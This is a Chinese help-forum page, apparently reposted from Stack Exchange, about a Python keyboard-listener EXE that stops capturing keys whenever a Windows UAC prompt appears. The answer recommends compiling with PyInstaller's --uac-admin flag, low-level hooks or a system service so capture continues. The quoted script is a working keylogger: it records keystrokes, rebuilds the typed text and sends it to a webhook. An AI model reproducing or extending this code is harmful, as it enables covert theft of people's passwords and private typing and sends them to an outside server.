Windows UAC弹窗导致Python编译的EXE程序停止键盘监听的问题求助
Windows UAC弹窗导致Python编译的EXE程序停止键盘监听的问题求助
我懂你遇到的这个糟心问题——每次Windows弹出UAC管理员授权窗口时,你的键盘监听EXE就直接停摆了,没法继续捕获按键,最后连Webhook都收不到数据对吧?
这其实是Windows的权限隔离机制在搞事情:UAC窗口运行在高权限的安全会话里,而你的程序默认是普通权限启动的,普通权限进程根本没法监听高权限窗口的输入事件,甚至会被系统暂时中断监听逻辑,等UAC窗口消失后也没法自动恢复。
给你两个实用的解决思路:
让程序默认以管理员身份运行
这是最直接的办法。如果你用PyInstaller编译EXE,只要在编译命令里加上--uac-admin参数就行:pyinstaller --onefile --uac-admin your_script_name.py这样程序启动时会先触发UAC请求,拿到管理员权限后,就能和UAC窗口处于同一权限级别,自然不会被打断监听了。
调整监听方案(进阶)
你当前用的keyboard库在普通权限下确实绕不开UAC的限制。如果不想每次启动都要授权,可以试试更底层的键盘钩子实现,但这类方案大多还是需要系统级权限;或者考虑把监听逻辑做成Windows系统服务,不过实现起来会复杂不少。
附上你的脚本代码:
import keyboard from dhooks import Webhook a = [] hook = Webhook("my webhook") trf = False while not trf: event = keyboard.read_event() if event.name == "f3" and event.event_type == keyboard.KEY_UP: trf = True while True: event = keyboard.read_event() if event.event_type == keyboard.KEY_DOWN: a.append(event.name) if event.name == "f3": break txt = "" for i in a: if i == "space" :txt += " " elif i == "f3" :continue elif i == "shift" :continue elif i == "ctrl" :continue elif i == "backspace" :txt = txt[:-1] elif i == "up" or i == "down" :continue elif i == "left" or i == "right":continue elif i == "enter" :txt += " <enter> \n" else :txt += i hook.send(a) hook.send(txt)
备注:内容来源于stack exchange,提问作者ispanezos apothnispania
相关产品推荐
相关产品推荐

